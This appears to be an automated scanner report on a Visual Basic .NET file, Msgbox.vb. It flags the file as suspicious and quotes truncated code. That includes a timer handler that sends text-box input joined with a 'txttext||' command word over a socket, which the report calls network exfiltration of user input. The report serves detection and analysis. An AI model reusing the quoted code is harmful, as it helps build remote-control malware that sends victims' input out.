Suspicious ^80% Download

TXT Msgbox.vb

Network exfiltration of user input

Sends a delimiter-joined command wordCode references Windows Forms assembly

SHA-2568d71e3c81916d2ebc67a25ea4a159016c100b43aa1095f8c9664df62392ae9f8

Evidence

Code references Windows Forms assembly lines 4–9

4:11… stem.IO
5Imports System
6Imports Microsoft.VisualBasic
7Imports System.Windows.Forms
8Imports System.Diagnostics
9Imports System.Windows.Forms.MessageBox 'para manter todas as messagebox em superior ou forme na h …

VBScript Dim variable declaration lines 14–22

14:18… 
15#Region "txt"
16    Public sock As Integer
17    Dim yy As String = "||"
18#End Region
19
20    Private Sub TXT_Load(sender As Object, e As EventArgs) Handles MyBase.Load
21        Try
22            Me.PictureBox1. …

VBScript End control-flow block lines 26–31

19… tData.ClearProjectError()
      End Try
  End Sub
29
  Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
      Form1.s.Send(sock, "txttext" & …

VBScript Sub procedure lines 32–37

100… lamation) 'mensagem
  End Sub
34
  Private Sub TXT_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
      Try
          Me. …

Sends a delimiter-joined command word lines 98–101

18… imer5_Tick(sender As Object, e As EventArgs) Handles Timer5.Tick 'interval 6000
      Form1.s.Send(sock, "txttext" & yy & Me.TextBox1.Text) 'chamar
  End Sub
101End Class